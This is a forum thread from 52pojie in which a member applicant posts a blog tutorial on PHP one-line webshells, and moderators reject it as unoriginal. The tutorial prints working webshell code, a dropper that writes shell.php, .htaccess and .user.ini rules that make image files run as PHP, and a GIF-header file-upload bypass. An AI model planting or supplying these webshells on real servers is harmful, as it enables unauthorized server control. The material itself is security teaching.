吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2090|回复: 7
收起左侧

[会员申请] 申请会员ID:Elitewa

[复制链接]
吾爱游客  发表于 2023-7-14 11:16

1、申 请 I D:Elitewa
2、个人邮箱:2411828540@qq.com
3、原创技术文章:本人的个人博客地址为 https://blog.byzhb.top  CSDN博客地址为https://blog.csdn.net/Elitezhb      ,博客内文章皆为原创,并且所作文章多次进入CSDN全站或单独板块热度榜前10,以下文章仅为其中之一

你真的了解一句话木马吗?

<h1><span data-cke-copybin-start="1">​</span>一、前言:</h1>
一句话木马是大多网安人在初步学习中,就遇到的一种简单的木马文件,相信很多人都像博主一样在接触到这一段代码时,都会感到非常的神奇,通过这样一段代码就能控制服务器,但却不知道其中的原理,在学习PHP之后才明白其构成,今天博主就带大家浅析一下一句话木马,也算是朝花夕拾吧
<h1 id="%E4%BA%8C%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">二、什么是一句话木马:</h1>
一句话木马是一种短小精悍的恶意代码,通常只有一行之长。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。攻击者可以使用一句话木马来窃取网站的敏感信息、篡改网站内容、攻击其他网站、制造破坏等。由于一句话木马具有体积小、隐蔽性强等特点,在黑客攻击中非常常见。
<h1 id="%E4%B8%89%E3%80%81%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">三、常见的一句话木马:</h1>
我们接触的一句话木马大多为这种,该木马使用了PHP语言,需要在有PHP环境的站点中才可使用
<pre class="code"><?php @eval($_POST[cmd]); ?&gt;&lt;/pre&gt; &lt;h2 id="%E6%9C%A8%E9%A9%AC%E8%AE%B2%E8%A7%A3%EF%BC%9A"&gt;木马讲解:&lt;/h2&gt; &lt;h3 id="1%E3%80%81%24_POST%5Bcmd%5D"&gt;1、$_POST[cmd]</h3>
<strong><code>$_POST&lt;/code&gt;&lt;/strong&gt; 是 PHP 中的一个&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;超全局变量&lt;/strong&gt;&lt;/span&gt;,我们在浏览器中&lt;span style="color: #ff0000;"&gt;POST&lt;/span&gt;方式提交的所有变量,都会保存在此数组中,变量名即为键名 &lt;h3 id="2%E3%80%81eval()"&gt;2、eval()&lt;/h3&gt; &lt;strong&gt;&lt;code&gt;eval()&lt;/code&gt;&lt;/strong&gt; 函数在 &lt;span style="color: #ff0000;"&gt;PHP&lt;/span&gt; 中用于&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;执行字符串中的代码并返回执行结果&lt;/strong&gt;&lt;/span&gt;。该函数接受一个字符串作为参数,该字符串包含要执行的 &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;PHP&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;代码&lt;/span&gt;&lt;/strong&gt;(&lt;em&gt;在此代码中为&lt;span style="color: #3366ff;"&gt;$_POST[cmd]</span></em>),然后执行该代码,并且可以返回结果

<span style="color: #0000ff;"><strong>该函数对php语法要求严格,所传入语句必须以" ; "号结尾</strong></span>
<h3 id="3%E3%80%81%22%40%22">3、"@"</h3>
符号"<span style="color: #ff0000;"><strong>@</strong></span>"的作用是<span style="color: #ff0000;"><strong> 屏蔽该语句的报错信息</strong></span>,也就是所即使该语句执行错误也不会显示报错信息,如果站点<span style="color: #ff0000;"><strong>PHP版本>=8.0</strong></span>的话,访问不带"@"的一句话木马会显示如下:

<img class="alignnone wp-image-232" src="https://blog.byzhb.top/wp-content/uploads/2023/04/08c9257fe8ef43b3b22b5214fd9bb991.png" alt="" width="769" height="165" />

<span data-cke-copybin-end="1">​</span>
<blockquote> 原因是:<strong>php自8.0版本之后会对使用未定义的变量进行报错</strong></blockquote>
我们初步访问此木马时并没有对其变量传值,固然会报错
<h3 id="4%E3%80%81%E8%84%89%E7%BB%9C%E6%A2%B3%E7%90%86">4、脉络梳理</h3>
该木马的大体意思为,用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码
<h1 id="%E5%9B%9B%E3%80%81%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E7%9A%84%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">四、可用于条件竞争的一句话木马:</h1>
关于什么是条件竞争请看博主的这篇文章http://t.csdn.cn/RFAgE
<h2>木马讲解:</h2>
<pre class="code"> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?&gt;' ); ?&gt;&lt;/pre&gt; &lt;h3 id="1%E3%80%81fopen()"&gt;1、fopen()&lt;/h3&gt; &lt;blockquote&gt;&lt;strong&gt;该函数的格式为 fopen(filename,mode,include_path,context)&lt;/strong&gt;&lt;/blockquote&gt; &lt;img class="alignnone wp-image-234" src="https://blog.byzhb.top/wp-content/uploads/2023/04/cee94cb73d144614be264bc357d9e02c.png" alt="" width="650" height="378" /&gt; &lt;pre class="code"&gt; fopen('shell.php','w')&lt;/pre&gt; 该语句的意思为,以&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;写入方式&lt;/strong&gt;&lt;/span&gt;打开一个叫做“&lt;span style="color: #ff0000;"&gt; shell.php&lt;/span&gt; ”,的文件,该文件不存在,故&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;创建&lt;/strong&gt;了一个shell.php文件&lt;/span&gt; &lt;h3 id="2%E3%80%81fputs()"&gt;2、fputs()&lt;/h3&gt; &lt;blockquote&gt;该函数格式为&#160; &lt;strong&gt;fputs(file,string,length)&lt;/strong&gt;&lt;/blockquote&gt; &lt;img class="alignnone wp-image-233" src="https://blog.byzhb.top/wp-content/uploads/2023/04/c84dc8141b49409abc6a14f7bdc26eda.png" alt="" width="728" height="146" /&gt; &lt;pre class="code"&gt;fputs(fopen('shell.php','w'),'&lt;?php @eval($_POST[cmd]); ?>' )</pre>
<blockquote>file参数对应   <u>fopen('shell.php','w') </u>语句生成的shell.php文件

string参数对应   <strong>'<span style="color: #ff0000;"><?php @eval($_POST[cmd]);  ?></span>' </strong> 这条字符串</blockquote>
<p id="%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4%E6%8A%8A%E6%9C%A8%E9%A9%AC%E8%AF%AD%E5%8F%A5%E5%86%99%E5%85%A5%E5%88%B0%E4%BA%86shell.php%E4%B8%AD"><strong>也就是说把木马语句写入到了<span style="color: #ff0000;">shell.php</span>中</strong></p>

<h3 id="%C2%A03%E3%80%81%E8%84%89%E7%BB%9C%E6%A2%B3%E7%90%86"> 3、脉络梳理</h3>
该函数首先借用<strong>fopen函数</strong>的<strong>w</strong>方式,创建了<strong>shell.php</strong>文件,然后用<strong>fputs函数</strong>将<em>'<span style="color: #339966;"><?php @eval($_POST[cmd]);  ?></span>'  </em>写入了该文件

换而言之,一旦访问该文件,就会生成一个名为<strong>shell.php</strong>的一句话木马,木马的内容在上文已讲过
<h1 id="%E4%BA%94%E3%80%81%E5%9B%BE%E7%89%87%E9%A9%AC">五、图片马</h1>
<h2 id="1%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF%E5%9B%BE%E7%89%87%E9%A9%AC%EF%BC%9A">1、什么是图片马:</h2>
在站点<strong>禁止</strong>上传php文件时,我们可以将含有一句话木马的jpg(也可以是其他img格式)图片,配合<strong>.htaccess</strong>文件,将其解析成php文件
<h2 id="2%E3%80%81.htaccess">2、.htaccess</h2>
文件内容为
<pre class="code"> <FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错</pre>
然后命名为  <strong>.htaccess </strong> 并上传
<h2 id="3%E3%80%81%E6%9C%A8%E9%A9%AC%E5%9B%BE%E7%89%87">3、木马图片</h2>
文件内容为
<pre class="code">GIF89a
<?php @eval($_POST[cmd]); ?>
//GIF89a 为了绕过可能存在的MIME头检测</pre>
然后命名为 shell.jpg 并上传,上传后访问其路径便可以传参
<h2 id="4.%C2%A0%C2%A0%20.user.ini%E6%89%A9%E5%B1%95">4.   .user.ini扩展</h2>
文件内容为
<pre class="code">auto_prepend_file=shell.jpg

//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
auto_append_file 是页尾包含</pre>
文件名为  <strong>.user.ini</strong>

操作步骤和 .htaccess相似
<h1 id="%E5%85%AD%E3%80%81%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%88%A9%E7%94%A8">六、一句话木马进一步利用</h1>
我们可以通过蚁剑、菜刀、冰蝎等webshell工具,来更加彻底的利用一句话木马,这里以蚁剑为例
<h2 id="1%E3%80%81%E8%BF%9E%E6%8E%A5">1、连接</h2>
<img class="alignnone wp-image-235" src="https://blog.byzhb.top/wp-content/uploads/2023/04/e01a9e9be9694b1d81815438ec83a071.png" alt="" width="517" height="406" />
<blockquote>url地址为 站点url+木马上传路径

连接密码为 shell.php中POST的变量名</blockquote>
<h2 id="2%E3%80%81%E5%88%A9%E7%94%A8">2、利用</h2>
在连接成功后,便可以遍历网站服务器目录,执行命令操作,或进行进行一步提权操作

<img class="alignnone wp-image-231" src="https://blog.byzhb.top/wp-content/uploads/2023/04/0ef86bfb1fa34cc4ad007daf45062700.png" alt="" width="610" height="397" />
<blockquote> </blockquote>

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2023-7-14 11:31
较真一下,首先CSDN地址给的是错的,通过博客找到CSDN地址,一共23篇文章,先不说是不是原创,所有文章最高阅读量只有两篇过千,其中一篇就是你申请帖子这篇,阅读量达到一千多,另外一篇两千多,我就想问一下,CSDN现在都这么拉垮了吗?两千阅读量的文章都可以进入CSDN全站或单独板块热度榜前10
JavaSB 发表于 2023-7-14 11:54
该说不说的,这不就是百度百科一句话木马的解释然后再伪原创一下么,这哪叫技术文章?流水账谁不会写?
woxing 发表于 2023-7-14 13:14
吾爱游客  发表于 2023-7-14 14:18
Hmily 发表于 2023-7-14 11:31
较真一下,首先CSDN地址给的是错的,通过博客找到CSDN地址,一共23篇文章,先不说是不是原创,所有文章最高 ...

确实是前十……,只能说你不了解CSDN,地址错应该是markdown格式的问题,文章格式全错了,我预览时是对的

点评

如果是事实,那这个网站真是渣到不行,申请也不好意思拿出来说对不对? 未能达到申请要求,申请不通过。  详情 回复 发表于 2023-7-14 14:25
吾爱游客  发表于 2023-7-14 14:19
JavaSB 发表于 2023-7-14 11:54
该说不说的,这不就是百度百科一句话木马的解释然后再伪原创一下么,这哪叫技术文章?流水账谁不会写?

你等我换一个
Hmily 发表于 2023-7-14 14:25
游客 123.168.159.x 发表于 2023-7-14 14:18
确实是前十……,只能说你不了解CSDN,地址错应该是markdown格式的问题,文章格式全错了,我预览时是对的

如果是事实,那这个网站真是渣到不行,申请也不好意思拿出来说对不对?

未能达到申请要求,申请不通过。
abcpanpan 发表于 2023-7-14 14:45
不是经常开放注册吗?稍微等等就行。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 01:15

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表